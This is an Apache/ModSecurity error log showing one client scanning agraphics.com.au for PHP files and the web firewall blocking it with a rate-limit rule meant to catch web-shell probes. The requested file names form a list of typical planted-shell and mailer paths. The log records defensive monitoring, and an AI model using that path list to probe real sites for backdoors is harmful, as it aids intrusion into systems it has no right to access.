[Sun Dec 14 04:21:41.382513 2025] [:error] [pid 39525:tid 39593] [client 20.89.218.172:24740] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aT3K1U1fX_pB_BrvE_5d0gAAAIo"]
[Sun Dec 14 04:21:41.721219 2025] [:error] [pid 39525:tid 39594] [client 20.89.218.172:24753] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/404.php"] [unique_id "aT3K1U1fX_pB_BrvE_5d0wAAAIs"]
[Sun Dec 14 04:21:42.155447 2025] [:error] [pid 39523:tid 39552] [client 20.89.218.172:24762] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aT3K1jQTQH1raAj2lkgRvQAAABg"]
[Sun Dec 14 04:21:42.486600 2025] [:error] [pid 39525:tid 39591] [client 20.89.218.172:13269] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aT3K1k1fX_pB_BrvE_5d1QAAAIg"]
[Sun Dec 14 04:21:42.947381 2025] [:error] [pid 39614:tid 39637] [client 20.89.218.172:24728] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aT3K1vxybG8-9MflbDduIgAAANU"]
[Sun Dec 14 04:21:43.298236 2025] [:error] [pid 39525:tid 39603] [client 20.89.218.172:24796] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/link.php"] [unique_id "aT3K101fX_pB_BrvE_5d2AAAAJQ"]
[Sun Dec 14 04:21:43.673524 2025] [:error] [pid 39525:tid 39599] [client 20.89.218.172:24791] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aT3K101fX_pB_BrvE_5d2QAAAJA"]
[Sun Dec 14 04:21:43.943604 2025] [:error] [pid 39614:tid 39635] [client 20.89.218.172:24708] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aT3K1_xybG8-9MflbDduJgAAANM"]
[Sun Dec 14 04:21:44.231871 2025] [:error] [pid 39525:tid 39584] [client 20.89.218.172:13187] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aT3K2E1fX_pB_BrvE_5d2wAAAIE"]
[Sun Dec 14 04:21:44.553324 2025] [:error] [pid 39525:tid 39607] [client 20.89.218.172:13272] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/makeasmtp.php"] [unique_id "aT3K2E1fX_pB_BrvE_5d3AAAAJg"]
[Sun Dec 14 04:21:44.853836 2025] [:error] [pid 39525:tid 39600] [client 20.89.218.172:24727] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aT3K2E1fX_pB_BrvE_5d3gAAAJE"]
[Sun Dec 14 04:21:45.391164 2025] [:error] [pid 39614:tid 39624] [client 20.89.218.172:13184] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aT3K2fxybG8-9MflbDduKgAAAMg"]
[Sun Dec 14 04:21:45.773354 2025] [:error] [pid 39614:tid 39632] [client 20.89.218.172:24789] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aT3K2fxybG8-9MflbDduKwAAANA"]
[Sun Dec 14 04:21:46.928039 2025] [:error] [pid 39614:tid 39617] [client 20.89.218.172:13214] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.php"] [unique_id "aT3K2vxybG8-9MflbDduLgAAAME"]
[Sun Dec 14 04:21:47.412791 2025] [:error] [pid 39614:tid 39619] [client 20.89.218.172:13186] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aT3K2_xybG8-9MflbDduMAAAAMM"]
[Sun Dec 14 04:21:47.760734 2025] [:error] [pid 39614:tid 39621] [client 20.89.218.172:13250] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aT3K2_xybG8-9MflbDduMQAAAMU"]
[Sun Dec 14 04:21:48.036299 2025] [:error] [pid 39523:tid 39536] [client 20.89.218.172:13256] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aT3K3DQTQH1raAj2lkgRvgAAAAg"]
[Sun Dec 14 04:21:48.372917 2025] [:error] [pid 39614:tid 39625] [client 20.89.218.172:24802] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aT3K3PxybG8-9MflbDduMwAAAMk"]
[Sun Dec 14 04:21:48.740677 2025] [:error] [pid 39524:tid 39576] [client 20.89.218.172:24758] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aT3K3GrVGpbDzFtDE9P2XAAAAFQ"]
[Sun Dec 14 04:21:49.035074 2025] [:error] [pid 39525:tid 39593] [client 20.89.218.172:24718] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aT3K3U1fX_pB_BrvE_5d4gAAAIo"]
[Sun Dec 14 04:21:49.284903 2025] [:error] [pid 39523:tid 39528] [client 20.89.218.172:13288] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aT3K3TQTQH1raAj2lkgRwAAAAAA"]
[Sun Dec 14 04:21:49.580438 2025] [:error] [pid 39523:tid 39551] [client 20.89.218.172:24782] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aT3K3TQTQH1raAj2lkgRwgAAABc"]
[Sun Dec 14 04:21:49.916371 2025] [:error] [pid 39524:tid 39563] [client 20.89.218.172:24800] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uana.php"] [unique_id "aT3K3WrVGpbDzFtDE9P2XgAAAEc"]
[Sun Dec 14 04:21:50.257764 2025] [:error] [pid 39614:tid 39624] [client 20.89.218.172:24721] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uana.php"] [unique_id "aT3K3vxybG8-9MflbDduNwAAAMg"]
[Sun Dec 14 04:21:50.672433 2025] [:error] [pid 39524:tid 39580] [client 20.89.218.172:24738] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uana.php"] [unique_id "aT3K3mrVGpbDzFtDE9P2XwAAAFg"]
[Sun Dec 14 04:21:50.982723 2025] [:error] [pid 39524:tid 39557] [client 20.89.218.172:13293] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/uana.php"] [unique_id "aT3K3mrVGpbDzFtDE9P2YAAAAEE"]
[Sun Dec 14 04:21:51.255809 2025] [proxy_fcgi:error] [pid 39524:tid 39566] [client 20.89.218.172:13249] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:21:51.381503 2025] [proxy_fcgi:error] [pid 39524:tid 39559] [client 20.89.218.172:13249] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:21:51.506463 2025] [proxy_fcgi:error] [pid 39524:tid 39561] [client 20.89.218.172:13249] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:21:53.810543 2025] [proxy_fcgi:error] [pid 39524:tid 39569] [client 20.89.218.172:13249] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:21:53.943465 2025] [proxy_fcgi:error] [pid 39524:tid 39570] [client 20.89.218.172:13249] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:21:54.198887 2025] [proxy_fcgi:error] [pid 39524:tid 39572] [client 20.89.218.172:13249] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:21:54.322934 2025] [proxy_fcgi:error] [pid 39524:tid 39573] [client 20.89.218.172:13249] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:21:54.758351 2025] [proxy_fcgi:error] [pid 39524:tid 39577] [client 20.89.218.172:13249] AH01071: Got error 'Primary script unknown'
[Sun Dec 14 04:21:54.878336 2025] [:error] [pid 39524:tid 39560] [client 20.89.218.172:13249] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pekok.php"] [unique_id "aT3K4mrVGpbDzFtDE9P2cAAAAEQ"]
[Sun Dec 14 04:21:55.215265 2025] [:error] [pid 39523:tid 39545] [client 20.89.218.172:24806] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pekok.php"] [unique_id "aT3K4zQTQH1raAj2lkgRxQAAABE"]
[Sun Dec 14 04:21:55.563523 2025] [:error] [pid 39614:tid 39640] [client 20.89.218.172:24787] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pekok.php"] [unique_id "aT3K4_xybG8-9MflbDduPwAAANg"]
[Sun Dec 14 04:21:55.894054 2025] [:error] [pid 39614:tid 39620] [client 20.89.218.172:13236] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pekok.php"] [unique_id "aT3K4_xybG8-9MflbDduQAAAAMQ"]
[Sun Dec 14 04:21:56.339045 2025] [:error] [pid 39523:tid 39539] [client 20.89.218.172:24765] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aT3K5DQTQH1raAj2lkgRyAAAAAs"]
[Sun Dec 14 04:21:57.107542 2025] [:error] [pid 39614:tid 39625] [client 20.89.218.172:24773] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aT3K5fxybG8-9MflbDduRAAAAMk"]
[Sun Dec 14 04:21:57.490246 2025] [:error] [pid 39614:tid 39622] [client 20.89.218.172:24704] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aT3K5fxybG8-9MflbDduRQAAAMY"]
[Sun Dec 14 04:21:57.860941 2025] [:error] [pid 39614:tid 39628] [client 20.89.218.172:13298] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aT3K5fxybG8-9MflbDduRwAAAMw"]
[Sun Dec 14 04:21:58.334989 2025] [:error] [pid 39524:tid 39580] [client 20.89.218.172:13208] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aa.php"] [unique_id "aT3K5mrVGpbDzFtDE9P2cQAAAFg"]
[Sun Dec 14 04:21:59.006174 2025] [:error] [pid 39523:tid 39544] [client 20.89.218.172:24824] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aa.php"] [unique_id "aT3K5zQTQH1raAj2lkgRyQAAABA"]
[Sun Dec 14 04:22:00.010491 2025] [:error] [pid 39525:tid 39592] [client 20.89.218.172:13230] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aa.php"] [unique_id "aT3K6E1fX_pB_BrvE_5d7gAAAIk"]
[Sun Dec 14 04:22:00.450504 2025] [:error] [pid 39524:tid 39564] [client 20.89.218.172:24760] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-aa.php"] [unique_id "aT3K6GrVGpbDzFtDE9P2dQAAAEg"]
[Sun Dec 14 04:22:00.889829 2025] [:error] [pid 39525:tid 39595] [client 20.89.218.172:13244] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cart.php"] [unique_id "aT3K6E1fX_pB_BrvE_5d7wAAAIw"]
[Sun Dec 14 04:22:01.206937 2025] [:error] [pid 39525:tid 39589] [client 20.89.218.172:13202] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cart.php"] [unique_id "aT3K6U1fX_pB_BrvE_5d8AAAAIY"]
[Sun Dec 14 04:22:01.606116 2025] [:error] [pid 39614:tid 39633] [client 20.89.218.172:13193] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cart.php"] [unique_id "aT3K6fxybG8-9MflbDduWAAAANE"]
[Sun Dec 14 04:22:02.070202 2025] [:error] [pid 39614:tid 39618] [client 20.89.218.172:13139] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cart.php"] [unique_id "aT3K6vxybG8-9MflbDduWQAAAMI"]
[Sun Dec 14 04:22:02.853619 2025] [:error] [pid 39614:tid 39626] [client 20.89.218.172:24818] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/compare.php"] [unique_id "aT3K6vxybG8-9MflbDduXQAAAMo"]
[Sun Dec 14 04:22:03.520823 2025] [:error] [pid 39523:tid 39551] [client 20.89.218.172:24777] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/compare.php"] [unique_id "aT3K6zQTQH1raAj2lkgR0AAAABc"]
[Sun Dec 14 04:22:03.851004 2025] [:error] [pid 39524:tid 39561] [client 20.89.218.172:13213] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/compare.php"] [unique_id "aT3K62rVGpbDzFtDE9P2eAAAAEU"]
[Sun Dec 14 04:22:04.130697 2025] [:error] [pid 39523:tid 39543] [client 20.89.218.172:13253] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/compare.php"] [unique_id "aT3K7DQTQH1raAj2lkgR0wAAAA8"]
[Sun Dec 14 04:22:04.419695 2025] [:error] [pid 39523:tid 39539] [client 20.89.218.172:24749] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop.php"] [unique_id "aT3K7DQTQH1raAj2lkgR1AAAAAs"]
[Sun Dec 14 04:22:04.696877 2025] [:error] [pid 39523:tid 39546] [client 20.89.218.172:13203] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop.php"] [unique_id "aT3K7DQTQH1raAj2lkgR1wAAABI"]
[Sun Dec 14 04:22:05.005205 2025] [:error] [pid 39523:tid 39540] [client 20.89.218.172:13199] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop.php"] [unique_id "aT3K7TQTQH1raAj2lkgR2AAAAAw"]
[Sun Dec 14 04:22:05.327467 2025] [:error] [pid 39525:tid 39599] [client 20.89.218.172:24755] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/shop.php"] [unique_id "aT3K7U1fX_pB_BrvE_5d9gAAAJA"]
[Sun Dec 14 04:22:05.727877 2025] [:error] [pid 39525:tid 39606] [client 20.89.218.172:13271] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api.php"] [unique_id "aT3K7U1fX_pB_BrvE_5d9wAAAJc"]
[Sun Dec 14 04:22:06.208227 2025] [:error] [pid 39525:tid 39602] [client 20.89.218.172:13259] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api.php"] [unique_id "aT3K7k1fX_pB_BrvE_5d-QAAAJM"]
[Sun Dec 14 04:22:06.562813 2025] [:error] [pid 39524:tid 39569] [client 20.89.218.172:13289] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api.php"] [unique_id "aT3K7mrVGpbDzFtDE9P2eQAAAE0"]
[Sun Dec 14 04:22:06.886906 2025] [:error] [pid 39614:tid 39624] [client 20.89.218.172:13280] [client 20.89.218.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/api.php"] [unique_id "aT3K7vxybG8-9MflbDduZQAAAMg"]
